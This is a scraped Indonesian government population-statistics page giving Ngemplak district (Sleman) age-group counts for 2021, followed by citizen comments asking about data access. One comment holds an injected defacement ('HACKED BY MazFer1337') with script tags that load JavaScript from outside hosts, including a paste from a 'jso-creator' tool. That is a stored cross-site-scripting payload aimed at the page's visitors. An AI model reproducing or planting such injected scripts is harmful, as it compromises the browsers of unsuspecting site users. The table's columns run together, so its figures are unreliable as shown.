Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

Jumlah Penduduk KECAMATAN NGEMPLAK, KABUPATEN SLEMAN, D.I Yogyakarta SEMESTER II 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaSINDUMARTANIBIMOMARTANIWIDODOMARTANIWEDOMARTANIUMBULMARTANITotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun7870 1488379 1629778 175359325 68410381 184720 633 1.353
2 tahun5348 1015055 1054544 89233206 4397246 118453 399 852
3 tahun5052 1024946 956553 118229194 4237369 142466 414 880
4 tahun4954 1034757 1046951 120237222 4597360 133475 444 919
5 tahun5652 1085452 1065145 96226224 4509157 148478 430 908
6 tahun4454 986854 1226372 135225214 4399180 171491 474 965
7 tahun5849 1076056 1166359 122231233 4646773 140479 470 949
8 tahun6842 1104155 967065 135251216 4676496 160494 474 968
9 tahun6069 1296659 1258163 144203249 4528369 152493 509 1.002
10 tahun8272 1546060 1205962 121276219 4957569 144552 482 1.034
11 tahun7260 1326658 1248062 142220215 4357776 153515 471 986
12 tahun5455 1097165 1366061 121259250 5097465 139518 496 1.014
13 tahun7068 1387364 1378564 149252223 4757573 148555 492 1.047
14 tahun6674 1406570 1357453 127247211 4587159 130523 467 990
15 tahun6756 1235846 1046467 131209221 4306961 130467 451 918
16 tahun5963 1224762 1095754 111201185 3866666 132430 430 860
17 tahun4958 1075259 1116454 118174161 3355460 114393 392 785
18 tahun7070 1406759 1267050 120268225 4935162 113526 466 992
19 tahun6465 1295444 985771 128228206 4346859 127471 445 916
20 tahun7361 1347254 1267159 130247199 4467767 144540 440 980
21 tahun7560 1356945 1145779 136221224 4456058 118482 466 948
22 tahun5954 1135141 925757 114220232 4525663 119443 447 890
23 tahun4752 995356 1097156 127187214 4015553 108413 431 844
24 tahun5950 1095968 1276665 131217207 4245860 118459 450 909
25 tahun7862 1405152 1036560 125228204 4326882 150490 460 950
26 tahun5050 1006156 1175661 117224205 4298467 151475 439 914
27 tahun4854 1025045 956850 118227242 4696760 127460 451 911
28 tahun5554 1095054 1046048 108250221 4715664 120471 441 912
29 tahun5650 1064653 995246 98227224 4517875 153459 448 907
30 tahun5850 1084748 955765 122218244 4626660 126446 467 913
31 tahun5045 955143 945159 110218222 4406152 113431 421 852
32 tahun4953 1024758 1055249 101221220 4415571 126424 451 875
33 tahun4960 1094047 875145 96199211 4106773 140406 436 842
34 tahun3951 904444 884155 96213211 4247166 137408 427 835
35 tahun5755 1124059 995569 124234221 4557060 130456 464 920
36 tahun5655 1115243 955356 109202240 4426360 123426 454 880
37 tahun5563 1184646 926065 125257215 4726878 146486 467 953
38 tahun6960 1296656 1227664 140237262 4996774 141515 516 1.031
39 tahun6464 1285477 1315661 117223251 4746185 146458 538 996
40 tahun7864 1427469 1437164 135226262 4888380 163532 539 1.071
41 tahun5386 1396755 1227266 138270270 5405468 122516 545 1.061
42 tahun5458 1125560 1156068 128224252 4767984 163472 522 994
43 tahun7253 1256580 1456760 127244234 4787576 151523 503 1.026
44 tahun5166 1176275 1376273 135202234 4366565 130442 513 955
45 tahun5059 1095868 1267072 142238229 4677468 142490 496 986
46 tahun4169 1105345 986957 126235203 4386564 129463 438 901
47 tahun5953 1125762 1195468 122193175 3686064 124423 422 845
48 tahun7455 1296268 1306563 128227232 4596567 132493 485 978
49 tahun7751 1287365 1385660 116185226 4115252 104443 454 897
50 tahun3260 925352 1055055 105216194 4106557 122416 418 834
51 tahun5753 1105060 1105966 125192188 3806666 132424 433 857
52 tahun6060 1206551 1167078 148256232 4885865 123509 486 995
53 tahun4865 1135362 1156071 131212217 4296869 137441 484 925
54 tahun6547 1126042 1025565 120185219 4046252 114427 425 852
55 tahun5148 995757 1146648 114160161 3215272 124386 386 772
56 tahun4060 1004345 885556 111182203 3855279 131372 443 815
57 tahun3342 753643 794456 100142209 3515952 111314 402 716
58 tahun4235 773343 764547 92157183 3404962 111326 370 696
59 tahun3834 723339 724544 89131158 2896465 129311 340 651
60 tahun3553 882931 603234 66117138 2555151 102264 307 571
61 tahun4747 944534 793253 85140174 3146266 128326 374 700
62 tahun4551 963429 634844 92161155 3163757 94325 336 661
63 tahun3339 723840 783649 85129141 2703865 103274 334 608
64 tahun4343 863432 663841 79110115 2254946 95274 277 551
65 tahun4343 862434 582841 69109124 2333337 70237 279 516
66 tahun3329 622449 732644 70107113 2204443 87234 278 512
67 tahun3533 683338 712442 66107113 2203641 77235 267 502
68 tahun2021 412129 503434 6811380 1933527 62223 191 414
69 tahun2123 443131 622229 517497 1713533 68183 213 396
70 tahun2219 411216 282321 445766 1232019 39134 141 275
71 tahun2439 631926 453139 705573 1282627 53155 204 359
72 tahun1719 361114 251622 384960 1091819 37111 134 245
73 tahun1126 371420 342926 555162 1131921 40124 155 279
74 tahun1112 231515 301115 263438 721822 4089 102 191
75 tahun1420 341326 391636 523555 901120 3189 157 246
76 tahun1118 29417 211922 414048 881525 4089 130 219
77 tahun810 181716 331217 293740 771014 2484 97 181
78 tahun1116 271316 291616 323638 741218 3088 104 192
79 tahun1319 321321 341420 343350 831718 3590 128 218
80 ke atas64116 1807995 17467118 185148253 40181121 202439 703 1.142
Jumlah3.9514.0487.9993.8123.9157.7274.2184.2978.51514.81714.98229.7994.6394.7269.365 31.437 31.968 63.405
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih